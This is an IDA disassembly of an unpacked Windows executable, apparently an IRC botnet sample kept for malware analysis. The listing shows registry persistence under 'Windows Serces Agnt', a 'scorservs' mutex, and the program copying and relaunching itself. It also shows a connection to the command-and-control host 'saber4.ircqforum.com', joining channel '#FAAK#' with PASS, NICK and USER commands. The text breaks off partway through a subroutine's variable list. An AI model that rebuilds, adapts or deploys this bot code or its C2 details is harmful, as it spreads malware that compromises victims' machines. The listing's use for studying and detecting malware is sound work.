;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	86C6C71721B90BEA79B020A5EE808EC9

; File Name   :	u:\work\86c6c71721b90bea79b020a5ee808ec9_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_41835A+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsSercesA ; "Windows Serces Agnt"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB608
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB678
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB5B8


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB630
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416644p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E59C
		call	dword_4CB6EC
		call	sub_40B2C0
		call	dword_4CB5AC
		call	dword_4CB5AC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D808
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2680B57h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2670C18h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D800
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418685
		pop	ecx
		mov	dword_4CB390, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB394, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B13
		push	2
		call	dword_4CB700
		push	7530h
		push	offset aScorservs ; "scorservs"
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0180h
		push	eax
		nop
		call	near ptr 26A011Eh
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB5C4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2680B57h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26A0000h
		push	eax
		call	near ptr 2680000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429AD0
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429110
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429110[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC8
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2690EB6h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2690DA3h


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		call	near ptr 26908E1h
		nop
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2680F4Eh
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418294
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 2690DA3h
		nop
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D808
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 26908A2h
		push	eax
		push	esi
		push	100000h
		call	near ptr 26902B8h
		nop
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429ABC
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2670C18h
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 2680F4Eh
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB5AC
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB974, 2
		jle	short loc_401562
		mov	eax, dword_4DB978
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 26A011Eh
		nop
		push	esi
		call	near ptr 2670894h
		nop
		mov	eax, dword_4DB978
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2680F4Eh
		mov	eax, dword_4DB978
		push	dword ptr [eax+8]
		nop
		call	near ptr 26901B6h


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB724, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429AA0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F7
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		push	0B80h
		push	ebx
		push	offset dword_43D810
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A7C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419A01
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 26908E1h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A3C
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		push	2
		call	sub_40B33F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A10
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	short loc_40169A
		call	near ptr 26908E1h
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299DC
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB39C
		mov	dword_4CB508, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB41C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CB45C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CB4F0, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB398
		mov	dword_4CB504, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB504, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 2680F4Eh
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB39C
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290EC, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290EC
		push	offset dword_4CB39C
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2C0


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB5AC


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Bo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB654
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08E
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E5A8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB6D4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E59C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB6EC
		call	sub_40AB23
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2680F4Eh
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD8
		call	sub_415221
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB6EC
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB500, bl
		jz	short loc_40199A
		push	offset byte_4CB500
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2D
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB6EC
		push	1388h
		nop
		call	near ptr 2680F4Eh


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		call	near ptr 2680F4Eh
		nop
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
